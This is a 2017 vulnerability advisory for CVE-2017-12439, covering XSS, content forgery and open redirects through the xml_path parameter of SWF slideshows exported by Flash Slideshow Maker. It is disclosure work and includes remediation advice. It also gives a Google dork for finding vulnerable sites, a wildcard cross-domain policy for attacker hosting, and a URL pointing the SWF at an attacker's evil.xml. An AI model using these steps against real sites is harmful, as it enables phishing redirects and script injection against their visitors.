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0x03a: CVE-2017-12439 Exploit Advisory


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	     | '_ \|  /| | '_ ` _ \     \ \/ __| '__|  \ \ \ /\ / / 
             | | | \ |_/ / | | | | |.___/ / (__| | .___/ /\ V  V / 
             |_| |_|\___/|_| |_| |_|\____/ \___|_| \____/  \_/\_/  
                                                      
                > _[C O N T A C T] :
				     Twitter: @ret2eax
				     Email:   ret2eax@riseup.net
				     Blog:    ret2eax.github.io
				     CVE #:   CVE-2017-12439
					 
      [+]-----------------------------------------------------------------[+]
       | Impacted Vendor:      SocuSoft Co.                                |
       | Vulnerable Software:  Flash Slideshow Maker Professional          |
       | Software URL:         http://flash-slideshow-maker.com            |
       | Effected Release:     All Versions                                |
       | Vulnerability Type:   XSS, Content Forgery, Unvalidated Redirects |
       | CVE:                  CVE-2017-12439                              |
       | Date Released:        29/07/2017                                  |
       | Released by:          ret2eax (Jase)                              |
      [+]-----------------------------------------------------------------[+]
	   
=================================================================================

[+]----------------------------[ S U M M A R Y ]------------------------------[+]

 Flash Slideshow Maker is a Flash Shockwave (SWF) movie maker containing static 
 images which are presented in a slideshow format.

 This vulnerability does not exist within the software application itself, instead,
 the vulnerability presents itself within the exported files.

 It was identified that the Flash Slideshow Maker application has two configurations
 themes associated with generating the slideshow content, basic and advanced.

 The basic theme will generate a single SWF file containing the content embedded 
 within. Whereas, the 'advanced' theme is XML driven. Meaning, in the final output,
 there will be the SWF itself, image files and an XML document containing the
 configuration that controls the SWFs behaviour. This  'advanced' theme 
 configuration is the cause of why such a vulnerability exists. 

 Therefore, the themes associated with the advanced configuration are vulnerable,
 whereas the content associated with the themes outlined in the 'basic' 
 configuration is not vulnerable. 
 
[+]-------------------------[ D E S C R I P T I O N ]------------------------[+]

 This vulnerability exists not because of the SWF but due to the insecurity 
 associated with its XML configuration file, and the fact that the xml_path HTTP 
 parameter trusts user supplied input. An attacker can pull the XML configuration 
 containing the SWFs behavioural structure. In doing so, the attacker can mimic, 
 forge and thus alter the pre-defined behaviour of the SWF by assigning malicious 
 arbitrary values within the associated XML configuration parameters. Exploitation 
 is  achieved by uploading the evil XML to a web server, where it is now possible 
 to remotely call and include the fraudulent XML through the SWF via GET.
 
 An attacker can perform Content Forgery, Unvalidated Redirects, and
 XSS attacks against authenticated and un-authenticated users through the 
 dissemination of a compromised URL.
 
 In order for any of the vulnerabilities (besides Content Forgery of course) 
 to execute, the victim is required to click on the image within the slides. 
 The likelihood of this can be enhanced through the XML configurations title 
 variables, and setting the title to be statically displayed, however this persuasion
 could also be conducted through the Content Forgery where a JPEG or any other 
 image file can be displayed containing text to persuade the victim to perform the
 required user interaction.
 
 [+]-----------------------[ P R E C O N D I T I O N S ]---------------------[+]

 In order to exploit this vulnerability, the attacker must have a correctly configured 
 cross domain policy running on the same server that they are hosting the malicious XML 
 file. An example is as seen below:

	<?xml version="1.0"?>
	<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
	<cross-domain-policy>
	<site-control permitted-cross-domain-policies="all"/>
	<allow-access-from domain="*" secure="false"/>
	<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
	</cross-domain-policy>


[+]------------------------[ E X P L O I T A T I O N ]----------------------[+]

 > _[The Basis] :

 Vulnerable endpoints can be located through the following Google Dork:
 filetype:swf inurl:?xml_path= 

 ~ 64,500 potentially vulnerable endpoints match this criterion.

 Obtain the SWFs XML configuration, by replacing the .swf extension value with that 
 of the called GET .xml value stored in the xml_path HTTP parameter. Once obtained,
 edit the XML configuration to control the SWFs behaviour. Finally host it on a
 web server where it can then be called through setting the xml_path parameter to
 point to the now manipulated XML config; ?xml_path=//domain.com/path/to/evil.xml
 again, to execute XSS and evil redirects, click on the image containing the 
 associated payload.   

 [+]------------------------[ R E M E D I A T I O N ]------------------------[+]
 
 Perform proper input sanitization, review cross domain policy to ensure it's 
 configured correctly in the sense that it should disallow script access from 
 remote domains. Alternatively, remove the vulnerable content entirely.